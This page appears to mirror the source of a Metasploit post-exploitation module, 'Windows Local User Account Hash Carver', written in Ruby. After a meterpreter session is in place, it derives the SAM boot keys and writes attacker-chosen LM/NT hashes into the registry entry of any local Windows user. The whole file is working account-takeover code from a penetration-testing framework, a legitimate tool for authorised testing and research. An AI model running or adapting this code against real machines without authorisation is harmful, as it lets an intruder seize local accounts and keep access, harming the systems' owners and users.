Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/hashcarve.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Auxiliary::Report
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::Registry
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Local User Account Hash Carver',
17
'Description' => %q{
18
This module will change a local user's password directly in the registry.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'p3nt4' ],
22
'Platform' => [ 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
stdapi_registry_open_key
28
]
29
}
30
},
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [CONFIG_CHANGES],
34
'Reliability' => []
35
}
36
)
37
)
38
register_options(
39
[
40
OptString.new('USER', [true, 'Username to change password of', nil]),
41
OptString.new('PASS', [true, "Password, NTHash or LM:NT hashes value to set as the user's password", nil])
42
]
43
)
44
# Constants for SAM decryption
45
@sam_lmpass = "LMPASSWORD\x00"
46
@sam_ntpass = "NTPASSWORD\x00"
47
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
48
@sam_numeric = "0123456789012345678901234567890123456789\x00"
49
@sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
50
@sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
51
end
52
53
def run
54
# Variable Setup
55
username = datastore['user']
56
pass = datastore['pass']
57
# Detecting password style
58
if pass.length == 32
59
print_status('Password detected as NT hash')
60
nthash = pass
61
lmhash = 'aad3b435b51404eeaad3b435b51404ee'
62
elsif pass.length == 65
63
print_status('Password detected as LN:NT hashes')
64
nthash = pass.split(':')[1]
65
lmhash = pass.split(':')[0]
66
else
67
print_status('Password detected as clear text, generating hashes:')
68
nthash = hash_nt(pass)
69
lmhash = hash_lm(pass)
70
end
71
print_line('LM Hash: ' + lmhash)
72
print_line('NT Hash: ' + nthash)
73
print_status('Searching for user')
74
rid_int = get_user_id(username)
75
rid = '%08x' % rid_int
76
print_line('User found with id: ' + rid)
77
print_status('Loading user key')
78
user = get_user_key(rid)
79
print_status('Obtaining the boot key...')
80
bootkey = capture_boot_key
81
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")
82
hbootkey = capture_hboot_key(bootkey)
83
print_status('Modifying user key')
84
modify_user_key(hbootkey, rid_int, user, [nthash].pack('H*'), [lmhash].pack('H*'))
85
print_status('Carving user key')
86
write_user_key(rid, user)
87
print_status("Completed! Let's hope for the best")
88
rescue ::Interrupt
89
raise $ERROR_INFO
90
rescue StandardError => e
91
print_error("Error: #{e}")
92
end
93
94
def capture_hboot_key(bootkey)
95
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
96
return if !ok
97
98
vf = ok.query_value('F')
99
return if !vf
100
101
vf = vf.data
102
ok.close
103
hash = Digest::MD5.new
104
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
105
rc4 = OpenSSL::Cipher.new('rc4')
106
rc4.decrypt
107
rc4.key = hash.digest
108
hbootkey = rc4.update(vf[0x80, 32])
109
hbootkey << rc4.final
110
return hbootkey
111
end
112
113
def get_user_id(username)
114
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
115
ok.enum_key.each do |usr|
116
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
117
r = uk.query_value('')
118
rid = r.type
119
if usr.downcase == username.downcase
120
return rid
121
end
122
123
uk.close
124
end
125
ok.close
126
raise 'The user does not exist'
127
end
128
129
def get_user_key(rid)
130
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
131
user = uk.query_value('V').data
132
uk.close
133
return user
134
end
135
136
def write_user_key(rid, user)
137
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
138
uk.set_value('V', REG_BINARY, user)
139
uk.close
140
end
141
142
def modify_user_key(hbootkey, rid, user, nthash, lmhash)
143
hoff = user[0x9c, 4].unpack('V')[0] + 0xcc
144
# Check if hashes exist (if 20, then we've got a hash)
145
lm_exists = user[0x9c + 4, 4].unpack('V')[0] == 20
146
nt_exists = user[0x9c + 16, 4].unpack('V')[0] == 20
147
if !lm_exists && !nt_exists
148
raise 'No password is currently set for the user'
149
end
150
151
print_status('Modifiying LM hash')
152
if lm_exists
153
user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
154
else
155
print_error('LM hash does not exist, skipping')
156
end
157
print_status('Modifiying NT hash')
158
if nt_exists
159
user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
160
else
161
print_error('NT hash does not exist, skipping')
162
end
163
end
164
165
def rid_to_key(rid)
166
s1 = [rid].pack('V')
167
s1 << s1[0, 3]
168
s2b = [rid].pack('V').unpack('C4')
169
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
170
s2 << s2[0, 3]
171
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
172
end
173
174
def encode_utf16(str)
175
str.to_s.encode(::Encoding::UTF_16LE).force_encoding(::Encoding::ASCII_8BIT)
176
end
177
178
def encrypt_user_hash(rid, hbootkey, hash, pass)
179
if hash.empty?
180
case pass
181
when @sam_lmpass
182
return @sam_empty_lm
183
when @sam_ntpass
184
return @sam_empty_nt
185
end
186
return ''
187
end
188
189
des_k1, des_k2 = rid_to_key(rid)
190
d1 = OpenSSL::Cipher.new('des-ecb')
191
d1.encrypt
192
d1.padding = 0
193
d1.key = des_k1
194
d2 = OpenSSL::Cipher.new('des-ecb')
195
d2.encrypt
196
d2.padding = 0
197
d2.key = des_k2
198
md5 = Digest::MD5.new
199
md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)
200
rc4 = OpenSSL::Cipher.new('rc4')
201
rc4.encrypt
202
rc4.key = md5.digest
203
d2o = d2.update(hash[8, 8])
204
d1o = d1.update(hash[0, 8])
205
enchash = rc4.update(d1o + d2o)
206
return enchash
207
end
208
209
def hash_nt(pass)
210
return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack('H*')[0]
211
end
212
213
def hash_lm(key)
214
lm_magic = 'KGS!@\#$%'
215
key = key.ljust(14, "\0")
216
keys = create_des_keys(key[0, 14])
217
result = ''
218
cipher = OpenSSL::Cipher.new('DES')
219
keys.each do |k|
220
cipher.encrypt
221
cipher.key = k
222
result << cipher.update(lm_magic)
223
end
224
return result.unpack('H*')[0]
225
end
226
227
def create_des_keys(string)
228
keys = []
229
string = string.dup
230
until (key = string.slice!(0, 7)).empty?
231
# key is 56 bits
232
key = key.unpack('B*').first
233
str = ''
234
until (bits = key.slice!(0, 7)).empty?
235
str << bits
236
str << (bits.count('1').even? ? '1' : '0') # parity
237
end
238
keys << [str].pack('B*')
239
end
240
keys
241
end
242
end
243
244